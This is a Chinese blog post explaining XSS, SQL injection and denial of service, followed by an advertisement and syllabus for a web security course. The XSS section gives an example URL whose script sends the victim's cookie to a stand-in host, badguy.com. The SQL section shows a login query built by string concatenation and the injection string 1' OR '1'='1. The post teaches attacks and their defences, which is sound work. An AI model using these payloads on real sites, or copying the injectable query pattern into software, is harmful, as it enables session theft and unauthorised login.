web安全攻防实战技巧

上一篇 / 下一篇  2017-01-25 09:52:53 / 个人分类:软件测试

一、什么是XSS
XSS指攻击者在网页中嵌入客户端脚本(例如JavaScript), 用户浏览网页就会触发恶意脚本执行。 比如获取用户的Cookie,导航到恶意网站,携带木马等。如何把恶意代码嵌入到用户要访问的网页中,攻击者挖空心思各出奇招了。一般会有这两类方式:
·Reflected (non-persistent)
反射攻击,就是恶意代码藏在本地,表现方式可能是一个恶意链接,你点击后给server GET/POST这个request,server如果没有恰当的处理这个请求,恶意代码返回给用户浏览器并执行。举个例子就比较明白了。
有这么个网页,查询的结果和查询的关键字都会显示到网页上。
<html>
  <title></title>
    <body>
        Results  for  <%Reequest.QueryString("term")%>
        ...
    </body>
</html>
Tom 先建立一个网站http://badguy.com, 用来接收"偷"来的信息。然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
XSS防治之道
1.文本输入做中对js关键字做编码,让回给用户浏览器的js不可执行
2.浏览器的同源策略,浏览器只允许访问cookie的IP+port必须同最初创建cookie的ip+port相同
3.web app或者浏览器提供"禁用script"的选项

二、什么是SQL 注入
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
某个网站的登录验证的SQL查询代码为:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
恶意填入
userName = "1' OR '1'='1"; 与passWord = "1' OR '1'='1";
将导致原本的SQL字符串被填为
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是实际上运行的SQL命令会变成下面这样的
strSQL = "SELECT * FROM users;"
因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。
SQL injection 防治之道
从安全技术手段上来说,可以通过数据库防火墙实现对SQL注入攻击的防范,因为SQL注入攻击往往是通过应用程序来进攻,可以使用虚拟补丁技术实现对注入攻击的SQL特征识别,实现实时攻击阻断。

三、Denial-of-service
顾名思义,拒绝服务攻击就是想尽办法让你的服务器无法正常提供服务。方法太多了,但是仔细研究攻击的模式,可以分为以下四种情况:
  a.消耗包括网络带宽、存储空间、CPU 时间等资源;
  b.破坏或者更改配置信息;
  C.物理破坏或者改变网络部件;
  d.利用服务程序中的处理错误使服务失效
除了以上这两个常见的web安全攻防技巧以外,web攻击还有绕过漏洞、验证机制漏洞、会话管理漏洞、权限控制漏洞、xpath注入、csrf、逻辑漏洞、社会工程学攻击、自动化审计等等,是个非常庞大的知识体系,博为峰网校特别邀请了web安全技术大咖,推出了《web安全攻防学习宝典》精品课程,从web安全漏洞原理、攻击手段、测试方法、预防措施四个方面全面剖析WEB安全的点点滴滴,针对开发人员、测试人员、运维人员、网络工程师都能够起到一定的指导意义。

《web安全攻防学习宝典》试听>>http://www.atstudy.com/course/196

《web安全攻防学习宝典》课程大纲
第一章 安全测试基础
介绍http协议基础、安全测试基本概念、安全漏洞分类等基础内容
第二章 核心防御机制
讲解在安全测试、安全防御中核心的三层防御机制
第三章 解析应用程序
安全测试、攻击的核心,讲解如何扫描应用程序、进行安全分析
第四章 绕过客户端攻击
绕过客户端攻击,是安全攻击的基础。本章主要介绍绕过的手段以及可以绕过的漏洞类型
第五章 验证机制漏洞
5.1 验证机制漏洞(一)
介绍验证机制漏洞第一部分,关于登录模块的漏洞分析
5.2验证机制漏洞(二)
验证机制漏洞第二部分,专题讲解忘记密码的漏洞原理分析及互联网实例
5.3验证机制漏洞(三)
介绍其他验证机制相关漏洞,如详细的报错信息、多阶段登录漏洞等内容
5.4验证机制漏洞(四)
专题讲解互联网应用中关于登录模块漏洞的实例
第六章 会话管理漏洞
6.1 会话管理漏洞(上)
介绍会话管理的概念已经会话令牌生成过程中可能产生的漏洞
6.2 会话管理漏洞(下)
介绍会话生命周期中的漏洞类型。并了解其原理、攻击方法、防御措施
第七章 访问控制漏洞
专题讲解权限管理方面可能存在的漏洞类型。
第八章 SQL注入与XPATH注入
SQL注入作为目前影响最大、最受重视的安全漏洞,本节课专题对sql注入的产生、危害、原理、盲注手段、攻击工具以及防御措施进行了详细的剖析。同时,简要介绍了xpath注入的相关内容
第九章 XSS攻击
XSS是目前发生次数最多的安全漏洞,本节课详细介绍xss的原理、分类、攻击载荷、攻击方式以及测试手段和防御措施
第十章 CSRF攻击
CSRF,又称one click attack,是危害最大的攻击之一。
第十一章 逻辑漏洞与社会工程学
逻辑漏洞也算安全漏洞?!我们来深入讲解一下。同时介绍了社会工程学的基本攻击方式和在web安全攻击中的使用。
第十二章 自动化审计简述
简单介绍了自动化审计工具的使用方式以及自动审计工具的优劣。

课程目标
本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。

适合人群
开发人员、测试人员、运维人员、网络工程师以及对WEB安全感兴趣的IT工作人员 

TAG: web安全 安全测试

 

评分:0

我来说两句

Open Toolbar